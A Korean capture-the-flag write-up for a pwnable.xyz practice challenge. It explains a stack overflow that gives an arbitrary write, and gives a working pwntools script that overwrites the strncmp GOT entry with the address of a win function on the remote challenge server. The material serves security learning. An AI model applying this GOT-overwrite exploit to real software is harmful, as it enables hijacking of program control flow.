How to Exploit

image

flag 내용을 보고 다른 방법으로 풀이를 해보자. 취약점은
scanf("%d", v7)에서 v7에 주소값을 미리 입력해두면 그 주소에 원하는 값을 쓸 수 있다. 거기다가 v6와 v7의 거리는 16인데 scanf("%24s", &v6)이므로 v7에 값을 쓸 수 있다.

v7에 strncmp 함수의 got(0x603018)을 입력한 뒤 그 주소에 win 함수를 덮어주고 auth 함수를 실행하면 win 함수로 넘어가게 된다. 참고로 pie가 꺼져있어서 수월하게 할 수 있다.

Exploit Code

from pwn import *
#p=process('./challenge')
p=remote('svc.pwnable.xyz', 30031)

p.sendlineafter('> ', '2')
payload = 'A'*16+p64(0x603018)
p.sendlineafter('nationality: ', payload)

win_add = 0x40099c
p.sendlineafter('> ', '3')
p.sendlineafter('age: ', '4196764')

p.sendlineafter('> ', '4')
p.interactive()

Capture The Flag

image

'Writeup [pwn] > pwnable.xyz' 카테고리의 다른 글

Xor  (0) 2020.03.07
Welcome  (0) 2020.03.07
Two Targets - 1  (0) 2020.03.07
TLSv00  (0) 2020.03.07
Sub  (0) 2020.03.07

+ Recent posts